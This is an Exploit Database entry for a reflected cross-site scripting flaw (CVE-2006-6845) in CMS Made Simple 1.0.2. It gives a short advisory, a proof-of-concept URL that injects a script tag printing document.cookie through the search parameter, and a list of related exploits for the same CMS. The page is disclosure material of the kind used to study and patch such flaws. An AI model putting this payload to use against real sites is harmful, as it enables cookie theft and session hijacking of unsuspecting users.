Exploit Database - Logo

CMS Made Simple 1.0.2 - 'SearchInput' Parameter Cross-Site Scripting

EDB-ID: 29272 Author: Nicokiller Published: 2006-12-11
CVE: CVE-2006-6845 Type: Webapps Platform: PHP
Aliases: N/A Advisory/Source: Link Tags: Vulnerability
E-DB Verified: Verified Exploit: Download Exploit Code Download / View Raw Vulnerable App: Download Vulnerable Application
« Previous Exploit Next Exploit » 
source: http://www.securityfocus.com/bid/21527/info

CMS Made Simple is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?mact=Search%2Ccntnt01%2Cdosearch%2C0&cntnt01returnid=51&cntnt01searchinput=Enter+Search..."><script>alert(document.cookie)</script>&cntnt01submit=Submit

Related Exploits

Trying to match CVEs (1): CVE-2006-6845
Trying to match OSVDBs (1): 32571
Trying to match setup file: 0017ce34a13142fce58a6d16758dd6f1
Other Possible E-DB Search Terms: CMS Made Simple 1.0.2,  CMS Made Simple
Date D V Title Author
2010-07-11Download Exploit Code Verified CMS Made Simple Module Antz Toolkit 1.02 - Arbitrary File UploadJohn Leitch
2010-07-11Download Exploit Code Verified CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File UploadJohn Leitch
2007-05-02Download Exploit Code Verified CMS Made Simple 1.0.5 - 'Stylesheet.php' SQL InjectionDaniel Lucq
2014-04-03Download Exploit Code Waiting verification CMS Made Simple 1.11.10 - Multiple Cross-Site Scripting VulnerabilitiesBlessen Thomas
2007-09-21Download Exploit Code Verified CMS Made Simple 1.2 - Remote Code Executionirk4z
2007-12-30Download Exploit Code Verified CMS Made Simple 1.2.2 Module TinyMCE - SQL InjectionEgiX
2008-05-12Download Exploit Code Verified CMS Made Simple 1.2.4 Module FileManager - Arbitrary File UploadEgiX
2008-11-29Download Exploit Code Verified CMS Made Simple 1.4.1 - Local File InclusionM4ck-h@cK
2009-08-10Download Exploit Code Verified CMS Made Simple 1.6.2 - Local File DisclosureIHTeam
2010-02-12Download Exploit Code Verified CMS Made Simple 1.6.6 - Local File Inclusion / Cross-Site ScriptingBeenu Arora
2010-02-12Download Exploit Code Verified CMS Made Simple 1.6.6 - Multiple VulnerabilitiesBeenu Arora
2010-04-02Download Exploit Code Waiting verification CMS Made Simple 1.7 - Cross-Site Request Forgerypratul agrawal
2010-07-11Download Exploit Code Verified CMS Made Simple 1.8 - 'default_cms_lang' Parameter Local File InclusionJohn Leitch
2010-01-01Download Exploit Code Verified CMS Made Simple 1.x - Cross-Site Scripting / Cross-Site Request ForgeryTruong Thao...
2016-05-04Download Exploit Code Verified CMS Made Simple < 1.12.1 / < 2.1.3 - Web Server Cache PoisoningMickaël Wal...
2005-09-26Download Exploit Code Verified CMS Made Simple 0.10 - 'index.php' Cross-Site ScriptingX1ngBox
2005-08-31Download Exploit Code Verified CMS Made Simple 0.10 - 'Lang.php' Remote File Inclusiongroszynskif
2017-05-10Download Exploit Code Waiting verification CMS Made Simple 2.1.6 - Multiple VulnerabilitiesOsanda Malith
Menu